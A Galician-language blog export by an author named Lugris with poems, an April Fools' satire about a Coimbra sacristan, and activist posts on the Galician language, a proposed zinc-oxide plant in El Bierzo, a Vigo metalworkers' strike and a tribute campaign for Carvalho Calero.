AUTHOR: Lugris TITLE: Detido por satanismo o sacristam de Coimbra BASENAME: detido-por-satanismo-o-sacristam-de-coimbra DATE: Sun, 01 Apr 2012 20:21:00 +0000 STATUS: publish PRIMARY CATEGORY: Geral CATEGORY: TAGS: ----- BODY:
Segum vem de informar há uns minutos a Radio Universidade de Coimbra, o sacristam de Coimbra foi detido esta mesma tarde, 1 de Abril, por orde da Chefatura da Polícia daquela cidade, por ter-se dedicado a realizar diabruras, dirigir rituais diabólicos, organizar missas satânicas, etc...
A hierarquia eclesiastica portuguesa nom tem feito ainda declaraçons ao respeito, mas transcendeu aos meios que as acusaçons contra o sacristam som ter realizado umhas dez mil diabruras nos últimos anos, tais como molhar o pam em azeite, deixar os santos a escuras, ou mesmo conhecer mulheres (no mais biblico sentido do termo) com a excusa de que o mar também tem mulheres, pois está casado com a areia e lhe dá beijos quantos quer...
No seu poder foi atopado um espray de cor vermelha, que a polícia científica está a analisar, por se for o mesmo com o que alguém escreveu nas paredes da Sé Velha de Coimbra a frase "Eu quigera ser merlinho e ter o bico encarnado, para fazer o meu ninho nos teus cabelos dourados", que parece ser umha mensagem cifrada para um ritual de invocaçom satânica que se ia celebrar nos próximos dias.
----- COMMENT: AUTHOR: Paula Querido [Visitante] DATE: Mon, 02 Apr 2012 10:50:28 +0000 URL:Dia 1 de abril é o DIA DAS MENTIRAS!
----- -------- AUTHOR: Lugris TITLE: Multiculturalidade, mestizagem ou confusom? BASENAME: multiculturalidade-mestizagem-ou-confusom DATE: Mon, 14 Nov 2011 23:30:11 +0000 STATUS: publish PRIMARY CATEGORY: A CATEGORY: TAGS: ----- BODY:Cidade de províncias.
Madrugada dumha sexta feira ou um sábado.
Pub com música excessivamente alta, e grandes televisons.
Reggaeton e cousas similares infinitas.
E, de súpeto, dous argentinos cantando "Galicia cada dia mais linda, cada día melhor e melhor"...
Multiculturalidade, mestizagem ou confusom?
----- -------- AUTHOR: Lugris TITLE: A torradeira do pam que citava a Sarrionandia BASENAME: a-torradeira-do-pam-que-citava-a-sarrionandia DATE: Wed, 05 Oct 2011 22:48:42 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: O Livro das Confusons CATEGORY: Para Ver Ler TAGS: ----- BODY:Nestes dias nos que se fala de Sarrionandia, rescato o poema/cartaz da torradeira de pam que falava com versos seus.
Neste poema, a torradeira recita primeiro uns versos de Roque Daltom, e mais tarde outros do Sarrionandia.
O poema fijo parte da "Poesia para ver/Poesia para ler", e antes disso foi publicado no Livro das Confusons, editado em Dezembro de 2006.
Umha das vezes
a voz saiu da torradeira do pam
Já sabedes
esse aparelho que torra o pam
com umhas resistências eléctricas
Ele
como todas as manhás
ia almoçar
e meteu as fatias de pam na torradeira
e carregou no botom
Nesse momento
a torradeira começou a falar
?Nego-me a acreditar nos venenos. Desde a conquista espanhola o meu povo ri idiotamente por umha grande ferida. Quase sempre é de noite...?
Ele gostava do pam no seu ponto justo
No que ele considerava o seu ponto justo
3 minutos
Aos 3 minutos as fatias de pam saltárom
e a torradeira deixou de falar
Ficara os três minutos absorto
a escuitar a torradeira
Sem pensar
pegou em duas novas fatias e meteu-nas na torradeira
Carregou no botom
Novamente falava
?O viageiro encaminha-se através da espiral embora nom
lembra quando e onde penetrou.
Supom que o caminho tem forma de espiral...?
Novamente aos 3 minutos saiu o pam quente
torradinho
tal e como ele gosta
Instintivamente
deu-lhe à rodinha até os 6 minutos
?O pam sairá mais torrado?
pensa
?mas a voz nom parará tam rápido?
Mete as fatias
desejoso de ouvir novamente aquela voz
espectacularmente preciosa
que lhe fala
a ele
Carrega no botom
Passam as horas
A escuitar a voz
Qualquer empresa presente na Galiza e que tenha um serviço de atençom telefónica aos seus clientes, deveria de dar a oportunidade de configurar essa atençom telefónica na nossa língua, em galego.
Nom todas as empresas oferecem essa possibilidade, e isso deberia ser umha cousa a denunciarmos constantemente de todos os sectores interessados na normalizaçom da língua galega.
Mas nom só. Exigir um serviço telefónico na nossa língua, também é umha forma de defender os postos de trabalho na nossa terra: as empresas onde podas configurar a tua conta como cliente para ser atendido sempre em galego, nom poderam contratar essa atençom com outras empresas (os call centers) de fora do país, porque nom teram gente que poda atender em galego.
Assím, se em todas as empresas com as que tenhas relaçons telefónicas, configuras o teu perfil de cliente para ser atendido em galego, estarás contribuindo a que haja postos de trabalho nos call centers das nossas vilas.
Por exemplo, se es cliente de Vodafone, e exiges que te atendam sempre em galego, serás atendido por pessoas galego-falantes que trabalham numha cidade da Galiza irredenta.
Mas o mesmo sucede com outras empresas: Movistar, Orange, R, Gas Natural, Endesa, Iberdrola, BBVA, Nova Caixa Galicia, etc, etc...
Para defender a língua, para impedir que as empresas "deslocalizem" a produçom: exige ser atendido na nossa língua.
----- -------- AUTHOR: Lugris TITLE: Se calhar um poema BASENAME: se-calhar-um-poema DATE: Mon, 19 Sep 2011 22:28:02 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: TAGS: ----- BODY:Vou escrever
Se calhar um poema
Para quando tenha que dizer
que ainda escrevo
Um poema cheio de palavras
e de silêncios
Que diga poucas cousas
mas que tenha algum significado
Vou escrever
Se calhar qualquer cousa
que poda parecer
um texto
Assim
ante essa incomoda
e impertinente pergunta
poderei dizer
que sim
que ainda escrevo
Se calhar
um poema
A foto, aqui: http://catedral.weblog.com.pt/arquivo/118127.html
----- -------- AUTHOR: Lugris TITLE: Espiral BASENAME: espiral DATE: Wed, 14 Sep 2011 22:16:51 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: TAGS: ----- BODY:Esqueceremos os nomes todos
os nomes de todos
e de todas
as cousas
mas as cousas seguiram a ser
as mesmas
todos seguiram a ser os mesmos
com novos nomes
e os nomes todos
seram novamente esquecidos
Se vai ser hoje
que seja
Que seja o que for
Que venha e esteja
Mas nom digas mais vezes
que vai ser
que vai ser
que está por vir
Nom o deixes estar
Nom o deixes estar
Se tem que estoupar que estoupe
e se vai ser hoje que seja
É um bom dia para um final
Melhor que amanham
Se vai ser
hoje
que seja com certeza
Que estoupe
Que rache
Que remate
E vai ser
Será
E melhor hoje
que é um bom dia
para um final
Quê complicado resulta
estar dentro de Fora
Na parte interior do além
Quê complicado resulta
estar fora de Dentro
Na parte exterior do aquém
Porém
nunca estivem dentro
e por enquanto nom estou fora
Eu também naufragar
ouves dizer
em qualquer lugar
da tua cabeça
Eu também naufragar
Nom como metáfora
mas como presságio
Eu também naufragar
Como fado
Eu, que semprei gostei dos versos aqueles de “eu tamén navegar", fico agora namorada deste naufraxio presaxiado e que, ás veces, parece tan necesario.
----- -------- AUTHOR: Lugris TITLE: 11 de Outubro BASENAME: 11-de-outubro DATE: Mon, 15 Nov 2010 23:26:54 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: Cousas por aí CATEGORY: Gz é bem pequena TAGS: ----- BODY:Nom tem sentido escrever um poema novo
quando ainda o anterior nom está rematado
Faltam-nos tantas e tantas palavras que acrescentar
Tantos ritmos internos que procurar
Tantas metáforas ainda pertinentes que estabelecer
Faltam-nos tantos significados por descobrir
Nom tem sentido escrever um poema novo
quando ainda nom fomos capazes de escrever o anterior
Quando ainda nom tivemos a oportunidade
ou a capacidade a habilidade
ou se calhar a audácia
para continuarmos a escrever o poema anterior
que ficou na memória repetindo-se insistentemente
aguardando um final
Faltam-nos tantas batalhas que ganhar
Nom tem sentido escrever um poema novo
quando ainda temos que dizer novamente o que já está dito
fazer o que já está feito
demonstrar o que já mostramos
Ser o que já somos
Nom
Nom tem sentido escrever um poema novo
quando ainda temos é que escrever os mesmos versos
para continuar berrrando as mesmas palavras
e fazendo as mesmas pintadas
Por isso digo que nom
(que nom tem sentido escrever um poema novo)
Poema inédito, intitulado "11 de Outubro", escrito para o acto central do Dia da Galiza Combatente que decorreu o passado sábado 9 de Outubro em Ferrol, organizado por NÓS-Unidade Popular, onde participei acompanhado por, entre outros, Belem Grandal e Ramiro Vidal.
----- -------- AUTHOR: Lugris TITLE: Aqualdre Zinc ou como fazer-se rico fabricando merda BASENAME: title-251 DATE: Tue, 23 Feb 2010 12:18:30 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: Gz é bem pequena CATEGORY: Estam tolos estes espanhois TAGS: ----- BODY:A, por agora, última promesa de postos de trabalho que nos traem para o Bierzo as autoridades, de maos dadas com a classe empresarial, é umha auténtica fábrica de merda, umha fábrica de venenos e residuos perigosos, tóxicos e poluintes .
No Bierzo já temos duas centrais térmicas de carbom: Compostilha (Endesa) e Anlhares (Union Fenosa), sendo a de Compostilha a segunda mais grande de todo o Estado espanhol, e umha das mais contaminantes; contamos também com umha fábrica de cementos em Toral dos Vaos (Cementos Cosmos, Grupo Cimpor), e umha acería (Roldan, grupo Acerinox). Estas 4 empresas, altamente poluintes, já deveriam encher a porcentagem deste tipo de indústrias na nossa comarca.
Mas nom é assim. Novas ameaças sobrevoan os nossos ceus. Cementos Cosmos sigue avante no seu projecto de convertir-se numha empresa incineradora de todo tipo de residuos; está em marcha um projecto de incineradora de pneumáticos em Branhuelas, e, por último (por agora), a instalaçom no macropolígono industrial do Baio dumha planta de fundiçom de residuos para a produçom de óxido de zinc.
No Bierzo estamos avondosamente contaminados, e nos últimos anos tenhem-se rebasado os níveis de alerta à populaçom e os níveis recomendados pola OMS em varias ocasions, especialmente em dióxido de enxofre e ozónio. Seguimos sendo, segum os informes de ?Qualidade do ar? da própria Junta de Castela e Leom (que se podem consultar no seu web), um dos pontos onde se sobardam os limites legais estabalecidos para a protecçom da saude.
Polas suas características climáticas e orográficas, a contaminaçom que se produz no Bierzo persiste durante muito mais tempo, convertindo-se assim em muito mais perigosa e prejudicial para a saude e para a produçom agroalimentária. Em numerosas ocasións as organizaçons ecologistas e ambientalistas tenhem solicitado um estudo epidemiológico da nossa regiom, que poderiam confirmar a relaçom entre a contaminaçom que padecemos e os altos índices de câncer, enfermidades respiratórias e pulmonares, alergias, etc... que existem no Bierzo.
Porém, as autoridades, políticas, económicas e administrativas, permitem continuar avante com o projecto da empresa Aqualdre Zinc, que pretende instalar essa planta de produçom de óxido de zinc a partir da ?reciclagem? de pó de aço.
Fabricar merda
Aqualdre Zinc pretende instalar, a menos de dous kilómetros das populaçons de Cubilhos do Sil e Cabanas Raras, umha actividade catalogada como molesta, insalubre, nociva e perigosa, potencialmente contaminante do cham, o ar e a água, tal e como se recolhe na Acta Nº 17/2007 do Concelho de Cubilhos do Sil. Está prevista a construçom de 265 vivendas a menos dum quilómetro da sua ubicaçom, e num rádio de menos de 3 quilómetros localiza-se a central térmica de Endesa e o Centro de descarrega de carbom da MSP. O canal do Bierzo Alto, que rega grande parte da nossa regiom, atravesa o polígono industrial onde se pretende instalar a empresa, com o que se multiplicam os riscos potenciais sobre a saude humana. Além disto, a empresa pretende situar-se a menos de 3 quilómetros do Pantano de Bárcena, que abastece de água a Ponferrada e outros concelhos próximos.
A planta chegarám nom menos de 144.000 toneladas ao ano de residuos perigosos e tóxicos (pó das empresas do aço), e inclussive poderiam chegar materiais radioactivos. Toda esta ?matéria prima? nom procederá do Bierzo nem de Castela e Leom. Nem um só gramo deste pó de aço é o resultado da actividade de nengumha empresa na comunidade autónoma de Castela e Leom, porque a única aceria existente (Roldan, radicada em Ponferrada) nom produz estes residuos. A previssom é que mesmo os residuos podam vir do resto de Europa (segum se recolhe na AAI, Autorizaçom Ambiental Integrada, recolhida no Projecto), contradizendo o principio de proximidade e autosuficiencia que debe guiar este tipo de actividades. Camions cisternas carregados de substancias altamente poluintes, percorreram centos, pode que miles, de quilómetros, para chegar até aqui.
A empresa ainda nom conseguiu comprometer a chegada de um só quilogramos do que consideram será a sua matéria prima, pois umha empresa radicada no Pais Basco (Befesa) conta com o contrato para o tratamento destes residuos. Depois das alegaçons apresentadas, e como resposta a esta incongruéncia, a empresa declara que a sua intençom é trabalhar com todo tipo de residuos que tenham ?algo de zinc?, como se os seus fornos fosem mágicos e puderam tratar qualquer tipo de residuos do mesmo modo. De todos os resíduos, tirará-se o zinc, que é umha parte mínima, e o resto do resíduo entrante ficará aqui de por vida, em algum depósito ou simplesmente disperso no nosso território. A empresa também nom demostrou até o momento nengum compromiso de nengum depósito autorizado para recolher estes residuos.
O resultado da actividade de Aqualdre Zinc, serám também resíduos altamente perigosos: sales e escórias de todo o tipo, que deveriam ir a um vertedoiro de seguridade, e também quantidades ingentes de água ou vapor de água contaminado com todo tipo de materias pesados. Mesmo num primeiro momento, a empresa declarava que estas sales (altamente contaminantes) serviriam para manter as estradas no inverno!!! Depois das alegaçons, simplesmente nem as mencionam, desaparecendo por arte de mágia. A água da chúvia que poda cair sobre so residuos e as próprias instalaçons sería já por si soa perigosa, segum o Informe Técnico do Concelho de Cubilhos do Sil, mas a resultante do proceso de lavado dos residuos será altamente contaminante. A empresa nom apresenta nengum plam de depuraçom das águas, que prevém acabem na depuradora de Viladepaus, que nom está preparada para admitir resíduos industriais deste tipo, e que pom em perigo o seu próprio funcionamento.
Duas novas chaminés em Cubilhos (umha para o forno de secado e outra para a fundiçom) emitiram um mínimo anual de 25000 toneladas de gas. A empresa tem autorizaçom para emitir metais pesados, SO2, CO, partículas, metais pesados, e os mais perigosos: dióxinas, furanos e compostos orgánicos persistentes (COP), que resultam cancerígenos, bioacumulativos e chegarám ao nosso organismo a traves da cadeia alimentária. Segum os informes da OMS, do Ministério espanhol de Meio Ambiente, e o Convénio de Estocolmo, as fundiçons som, junto com a incineraçom, umha das prinicipais fontes dos COP.
Os fornos funcionaram 24 horas ao día, e portanto as emissons à atmósfera produciram-se também 24 horas ao día, pois no tipo de proceso que apresentam, Waelz, nom se podem para os fornos, ainda que no projecto a empresa di que nom funcionaram polas noites. Possivelmente isto o fam para evitar que se lhe achaquem problemas derivados de ruidos e vibraçons nocturnas.
O proceso da planta é completamente novidoso, nom conta com um projecto piloto, será a primeira vez que se ponha em marcha, e supom um ingente gasto e contaminaçom. Nom é a melhor técnica disponível, e será realizada por umha empresa que nom pode demostrar nengumha experiência na gestiom de resíduos perigosos.
Dous informes técnicos demostram a grande perigosidade do projecto. Um é o dos próprios técnicos do concelho de Cubilhos do Sil (acta do Concelho do 28/12/2007), e outro o do reconhecido químico berciano e profesor de universidade no Campus do Bierzo D. José Manuel Baelo. Além disto, as numerosas alegaçons apresentadas por diversas entidades, explicam os graves efectos que pode ter a instalaçom desta empresa. Ecologistas em Acçom te-na catalogada como estafa ambiental e tem solicitado a nulidade de pleno direito.
Fazer-se rico
A empresa Aqualdre Zinc S.L. sae practicamente da nada. Constituida em Dezembro de 2006, com um capital social de 3500? está domiciliada em Gipúzkoa, e constam como administradores da mesma José Antonio Larranaga Ucin, Josu Miren Garmendia Goicoechea e Feliciano Elias González Gil.
O Objeto Social declarado da entidade no momento da sua fundaçom era ?a participaçom no capital doutras sociedades ou entidades, civís ou mercantís?. A princípios do mês de Janeiro de 2008 amplia-se o Objeto Social declarado, incorporando agora como novas actividades os ?Serviços de gestiom integral de resíduos, ejecuçom de obras e instalaçons relacionadas com os mesmos, recolhidas selectivas, almacenamento, transporte e eliminaçom de residuos?. A empresa nom pode demostrar nem justificar em nengum caso a sua experiencia, ou a dos seus administradores, na gestiom e/ou tratamento de resíduos perigosos.
A primeira solicitude a nome de Aqualdre Zinc apresentada ante a Delegaçom Territorial da Junta de Castela e Leom em Leom para a instalaçom desta empresa é do 21 de Dezembro de 2207. O 19 de Dezembro de 2007 o Concelho de Cubilhos do Sil emite informe urbanístico favorável, indicando que a actividade se desenvolverá em cham urbano industrial.
De momento, a empresa já tem concedidos em conceitos de ajudas, como mínimo 2.3 milhons de Euros do Ministério de Indústria e 3.3 milhons das partidas de Incentivos Regionais. Ao estar situado em zona minera, receberá também fundos MINER. Negócio redondo.
Possívelmente, esta seja outra empresa mais das conhecidas como ?caça-subvençons?. Aproveitando a permissividade e colaboraçom das autoridades, venhem a regions como esta, nas que as subvençons, ajudas e colaboraçons económicas para a instalaçom de novas empresas que diversifiquem o tecido industrial som aproveitadas por empresários sem escrúpulos. Os postos de trabalho oferecidos (directos calculam-se uns 28, somados os indirectos, nom chegariam a 40), nom podem fazer-nos pensar que compensam todos os perigos que comportam, além da destruçom de mais postos de trabalho já asentados, pois toda a indústria agroalimentária, assim como a turística e a de oferta de ócio, estarám directamente afectadas por empresas como esta.
Um futuro obscuro, gris e sujo abate-se sobre o Bierzo. Conseguir pará-lo depende de todas/os nós. A tua colaboraçom é importante, necessária e imprescindível. Neste momento, há apresentados dous recursos, por parte de Ecologistas em Acçom e de Tomás Ramos, concelheiro do MASS em Cubilhos do Sil. Som as duas únicas pessoas que nestes momentos tenhem capacidade legal para paralisar o projecto, continuando com a via judicial.
Mas a justiça nom é gratuita. A Plataforma ?Bierzo Aire Limpio? tem umha conta aberta na que recaudar fundos para manter a campanha em contra e os gastos originados nos tramites legais: La Caixa N 2100-6108-77-0200021559
Difunde esta informaçom. Participa da campanha. Colabora economicamente. Acude aos actos e convacatórias que se realicem. Informa-te e informa às tuas amizades, vizinhas/os e conhecidas/os.
NOTA: A maior parte da informaçom empregada para redigir este artigo, está tirada do web da Plataforma Bierzo Aire Limpio.
----- COMMENT: AUTHOR: Anselmo Prada león [Visitante] DATE: Fri, 05 Mar 2010 11:59:52 +0000 URL:Estoy de acuerdo con todo este comentario.Pero tenemos que tener en cuenta, que en El Bierzo necesitamos puestos de trabajo, y eso es difícilo de conseguir,si los vagos y gentes sin conciencia toman la palabra y no dejan hacer nada.Este comentario está hecho en portugués, pues que vayan a Lisboa y protesten por la central nuclear que tienen allí…
Quien tiene que velar por nuestra salud y por nuestro trabajo,es el gobierno que para eso le pagamos…
[youtube]ttv5dyvtF4o[/youtube]
Passam-se os dias, passam-se as vontades...
Às vezes, ou sempre, é bom deter-se. Sentar na beira do caminho, e mirar como passa o tempo, como passam as gentes, como passam as cousas.
E todo passa.
E todo fica.
E seguimos aqui. Ainda virám mais dias depois destes dias. Devemos estar contentos. Devemos estar agradecidos de seguir aqui, de seguir assim. De ser. De estar.
É um mistério, segue a ser um mistério, o como e o porquê.
----- COMMENT: AUTHOR: estíbaliz... [Visitante] DATE: Wed, 18 Nov 2009 10:55:55 +0000 URL: http://www.estibalizes.wordpress.comPero quizais a versión máis lograda é a de Jeff Buckley.
http://www.youtube.com/watch?v=AratTMGrHaQ
----- COMMENT: AUTHOR: estíbaliz... [Visitante] DATE: Wed, 18 Nov 2009 10:47:36 +0000 URL: http://www.estibalizes.wordpress.comVirán, ho, virán máis días.
O temazo de Cohen -que me piden que cante en infinidade de vodas relixiosas- coñece unha versión algo distinta por Rufus Wainwright, pinchando aquí http://www.youtube.com/watch?v=mmbQEQltOwM
Vivimos das mesmas cousas refritas.
Bicas.
----- -------- AUTHOR: Lugris TITLE: A história está a ser escrita nas ruas de Vigo BASENAME: a-historia-esta-a-ser-escrita-nas-ruas-d DATE: Fri, 19 Jun 2009 16:31:39 +0000 STATUS: publish PRIMARY CATEGORY: Gz é bem pequena CATEGORY: Stop hipocrisia! TAGS: ----- BODY:Ontem foi apresentado em Vigo um manifesto assinado por numerosas personalidades do mundo da cultura, as artes, o ensino, profissionais, etc, junto a representantes de movimentos sociais e políticos da Galiza e internacionais, em apoio à luita operária que está a ser dada nas ruas de Vigo polo proletariado galego como símbolo da luita de todo um povo e umha classe pola plena emancipaçom.
Adire ao manifesto e encaminha-o entre os teus contactos. A solidariedade também é umha arma carregada de futuro.
Eis o documento na sua versom integral, seguido de um resumo dos apoios recebidos polo mesmo:
A historia está a ser escrita nas ruas de Vigo
As e os abaixo assinados consideramos um imperativo ético e social dar todo o apoio solidário à luita dos metalúrgicos de Ponte Vedra que, junto aos trabalhadores e trabalhadoras doutras empresas radicadas em distintas zonas da Galiza, hoje simbolizam no nosso país a mobilizaçom social e obreira contra umha resoluçom da crise capitalista favorável em exclusiva aos mesmos que a provocárom. A gente do Metal, polos seus métodos democráticos, assembleares e combativos, sem se dobrarem diante de um patronato que nos derradeiros anos aproveitou a bonança económica num contexto de contínua reduçom da capacidade aquisitiva e restriçom dos direitos sociolaborais do pessoal assalariado, vem sendo um exemplo para o conjunto da classe trabalhadora galega, em paralelo às mobilizaçons que estám a acontecer na Grécia, Portugal ou França.
Aqui, nom som eles os únicos que enfrentam as consequências de umha crise gerada pola destruidora capacidade do sistema para acumular riqueza nas maos de uns poucos: as trabalhadoras do têxtil, com Caramelo à frente, os das empresas do leite como Pascual, o pessoal das fábricas como Bunge, Galfrío ou Vidreira del Atlântico, todos eles estám a demostrar que só com o confronto de classes e a defesa das liberdades públicas, pode impedir-se a degradaçom das condiçons de vida e de trabalho do conjunto da populaçom, frente ao egoísmo patronal e a dureza dos governos que a sustentam.
Há anos tentárom fazer invisível a classe obreira, como se abaixo do ?capitalismo popular? dos Reagan e as Thatcher, quer dizer, a sua faciana neoliberal, todo o mundo pudesse viver sem o salário, das rendas e dos investimentos financeiros. Agora que a gente de trabalho, fonte de toda a riqueza, está maciçamente na rua para defender os direitos da humanidade despossuída, a maioria dos meios de comunicaçom manipulam a realidade apresentando as manifestaçons obreiras como actos criminais, salvando a cara do patronato e das autoridades que decote exercem umha surda violência contra as condiçons laborais e sociais do conjunto dos trabalhadores e trabalhadoras, sejam assalariados ou autónomos.
Na realidade, o convénio do Metal de Ponte-Vedra passou a ser a fronteira que a Patronal espanhola fixou para a totalidade dos sectores da produçom: congelaçom salarial, jornada laboral delongada, nom pagamento de horas extras, liberdade de contrataçom de imigrantes para os explorar sem medida, precarizaçom do emprego, submissom e isolamento dos sindicatos, ameaças de deslocalizaçom ou de clausura? E, para os seus colegas do Governo, passou a ser questom de Estado, penalizando os protestos e a rebeldia, conculcando se for preciso a liberdade de reuniom e manifestaçom, acarom do direito á informaçom veraz e objectiva. Em consequência, na luita do Metal jogamos muito mais do que umha singela subida de jornais para um segmento da populaçom empregada; está em jogo, além do futuro do resto dos convénios e da qualidade do emprego, o direito a rejeitar o papel subsidiário que outros tenhem decidido para as nossas vidas.
A crise do capital colocou cada qual no seu lugar e os que pensavam que chegara ?o fim da historia?, nom tenhem outra que aprender a cantiga que di: ?detrás dos tempos venhem tempos, e outros tempos ham de vir?. Assim pois, hoje, a historia está a ser escrita nas ruas de Vigo.
A sua vitória é a vitoria de todos e de todas, e a unidade entre as forças obreiras e sociais abre as portas a umha resposta contundente do conjunto da sociedade ao que é o fundo: a crise é do capital, dos capitalistas, e portanto som eles os que tenhem que a pagar, ao tempo que os direitos e liberdades civis devem ser garantidos.
Resumo de adesons
Personalidades internacionais: Adolfo Pérez Esquivel (argentino?galego) Premio Novel da Paz; Nora Cortiñas, Maes de Praça de Maio, Victor Mendivil, Dirección Nacional de la Central de los Trabajadores Argentinos, Antonio Arruti, Coordenador Nacional do Movimento de Libertação Sem Terra ( Brasil).
Académicos/as RAG: Francisco Fernández Rei, Margarita Ledo, Xosé Neira Vilas e Xosé Luis Méndez Ferrín.
Escritores/as: Suso de Toro, Anxo Angueira, Xurxo Borrazás, Séchu Sende, Manuel Forcadela, María Lado, Miguel Anxo Fernán Vello, Chus Pato, Patricia Janeiro.
Cineastas: Antón Dobao, Alberte Pagán.
Historiadores: Carlos Velasco (Universidade da Corunha), Francisco Espinosa (da Univ. de Sevilla), José Luis Gutiérrez Molina (da Univ. de Cádiz), Dionísio Pereira, Eliseo Fernández, Xoán Carlos Garrido, Uxío Breogán Diéguez, Xurxo Martínez Crespo, Gonzalo Amoedo.
Políticos: Xosé Manuel Beiras (BNG), Camilo Nogueira (BNG), Carlos Morais (Primeira Linha), Maruchi Álvarez (ACE), Carlos Dafonte (ex. secretario PCG), Lois Pérez Leira (Nova Esquerda Socialista), Maurício Castro (Nós-UP), Mariano Abalo (FPG), Xosé Collazo (PCPG), Roberto López Laxe (Corrente Vermella), Xosé Mª Pazos (ACE), Miguel Anxo Abraira Movemento pola BASE.
Catedráticos e professores: Fermín Bouza, Carlos Taibo, Xoán Doldán, Francisco Sampedro, Celso Álvarez Cáccamo, Pablo González Mariñas.
Jornalistas: Gustavo Luca de Tena, Lara Rozados, Comba Campoy, José Manuel Martín Medem (Madrid), Oscar Castelnovo (Arxentina), Manuel Vidal Villaverde.
Advogados: Xosé Luis Franco Grande, Carlos Slepoy, Gustavo García.
Editores: Victor Freixanes, Manuel Bragado, Francisco Pillado Mayor, Paco Macías, Antón Mascato García.
Músicos/as: Xosé Bocixa, Leo e ?Arremecaghona?, Marina Quintillán.
Organizaçons internacionais:
Jaime Pastor (de Izquierda Alternativa, Madrid), Nines Maestro Corriente Roja, Solidaridad Obrera (Madrid), CTA (Arxentina), Asociación ex detenidos y desaparecidos Arxentina, Luis Fernández Ageitos Asociación Taxista de Bos Aires, Mario Alderete (Arxentina), Rogelio de Leonardi (Arxentina), José Urreli (Arxentina).
Info tirada de: Primeira Linha em Rede.
Adesons: (só nome, apelidos e profissom) a: solidariedademetal@gmail.com
----- -------- AUTHOR: Lugris TITLE: Difunde: www.carvalhocalero2010.net BASENAME: difunde-www-carvalhocalero2010-net DATE: Fri, 05 Jun 2009 19:55:27 +0000 STATUS: publish PRIMARY CATEGORY: Gz é bem pequena CATEGORY: TAGS: ----- BODY:Da Fundaçom Artábria queremos pedir a tua ajuda para reclamar à Real Academia da Língua (RAG) que renda a merecida homenagem ao professor Ricardo Carvalho Calero, no vindouro ano 2010, quando se comemora o primeiro centenário do seu nascimento e o vigésimo da sua morte.
Para isso, pedimos-che que escrevas este correio ao seguinte endereço: presidencia@realacademiagalega.org
Também che rogamos que envies a todos os teus contactos esta informaçom, para espalharmos esta campanha entre todas e todos.
Nom demores a enviar o teu correio-e, a decisom da RAG é iminente!
Obrigad@s
Ricardo Carvalho Calero, nascido em Ferrol em 1910 e falecido em Compostela em 1990, traça com a sua trajectória vital um laço de uniom entre pessoas e acontecimentos que atravessa o século XX.
Em 2010 vam-se cumprir 20 anos da sua morte e 100 anos do seu nascimento. Números redondos que nos convidam, mais umha vez, a reclamar a homenagem da que este homem é merecente. Desde o ano 2000, a iniciativa da Fundaçom Artábria, diversas instituiçons e associaçons solicitam que se lhe dedique o Dia das Letras Galegas. Até hoje esta solicitude nom foi atendida, ainda que existam numerosas razons para este merecimento:
1. Pola sua extensa obra escrita em língua galega ao longo de toda a sua vida, desde os primeiros anos no seu Ferrol natal, até perto da sua morte em Compostela.
2. Pola variedade de géneros da sua obra: poesia, narrativa, investigaçom, teatro, ensaio, artigos jornalísticos...alcançando alta qualidade em cada um deles.
3. Porque a sua obra, seguindo a ideia dos mestres da Geraçom Nós, é pensada para preencher espaços vazios da cultura galega, como por exemplo a Gramática Elemental del Gallego Común ou a Historia da Literatura do Século XX, obras essenciais publicadas na seca absoluta do franquismo.
4. Porque na sua formaçom primeira em Ferrol, há pegadas de mestres importantes como Manuel Comelhas ou o socialista Jaime Quintanilla, escritores em língua galega, responsáveis em grande parte do interesse do neno e moço Carvalho pola cultura galega e do estímulo para publicar.
5. Porque este interesse segue nos tempos de estudante universitário, no trabalho que realiza no Seminário de Estudos Galegos, instituiçom criada para formar aos estudantes na realidade galega, da que nom se ocupava a universidade, e na que os mestres da Geraçom Nós (Castelao, Otero Pedraio, Risco, Cuevilhas...) participavam como mestres.
6. Polo seu compromisso político e social, participando de moço na Federaçom Universitaria Escolar (FUE) sindicato estudantil no marco da oposiçom à ditadura de Primo de Rivera. Compromisso que segue firme ao participar na criaçom do Partido Galeguista no ano 31 e fazer parte da elaboraçom do Estatuto de Autonomia para Galiza e, despois do golpe de estado do 36, que o surpreende em Madrid, pola súa incorporaçom como miliciano ao Exército Republicano, loitando em diferentes pontos do estado até que é prendido na Andaluzia.
7. Porque sofreu repressom, sendo julgado por ser oficial do exército republicano e ?separatista?, cumprindo condena no cárcere até que consegue a liberdade controlada, mais é depurado e nom se lhe permite dedicar-se ao ensino oficial.
8. Porque participa activamente na resistência cultural contra o franquismo: No colégio Fingoi de Lugo, onde trabalha ?clandestinamente?, já que nom pode figurar como director; realizando um importante labor pedagógico, galeguizador e coeducador, que ainda lembra o seu antigo alunado. Sendo cofundador da Editorial Galaxia e colaborador neste projecto. Publicando a 1ª obra narrativa em galego da posguerra, A Gente da Barreira, no ano 51.
9. Porque foi membro da Real Academia Galega, entrando o 17 de Maio de 1958 e proposto para a sua presidência no ano 77, cargo que ele nom aceita.
10. Porque nos anos 60 começa o labor como professor de universidade em Compostela, na matéria de Lingua e Literatura, chegando a ser o primeiro catedrático de Lingüística e Literatura Galega no ano 72, realizando um grande trabalho formador e investigador.
11. Porque fai parte da Comissom Lingüística da Junta Pré-Autonómica, que elabora umhas normas ortográficas para a língua galega.
12. Porque mantivo a sua postura de nom afastar a identidade do galego do seu tronco originário, defendendo a ortografia histórica do nosso idioma, ideia que já defendia o nacionalismo histórico, que só esperava condiçons favoráveis para a implantar.
13. Porque foi umha das figuras modelo à qual acudiu a nova geraçom de poetas dos 80, renovando com a corrente culturalista o panorama da poesia desta década.
14. Porque com a publicaçom do seu romance de transfundo histórico, Scórpio, em 1987, contribui para enriquecer a qualidade da literatura galega.
15. E, sobretodo, porque nom se vendeu e mantivo a postura que ele cria correcta, ainda que lhe valesse o esquecimento e o desprezo de sectores que lhe deviam reconhecimento polo labor de toda a vida.
Poderíamos continuar a acrescentar razons, mas cremos que com só umha destas já teríamos abondo para lhe dedicar umha homenagem das nossas letras. É evidente que apoiar esta proposta seria um acto de justiça histórica.
--
A Fundaçom Artábria é um projecto popular em defesa da língua e cultura nacional, os valores solidários e os direitos históricos da Galiza. Entidade de carácter sociocultural sem ánimo de lucro que está declarada de Interesse Galego e classificada de interesse cultural, com o nº 54 no registo de fundaçons da Xunta de Galicia.
Sítio web da Fundaçom Artábria.
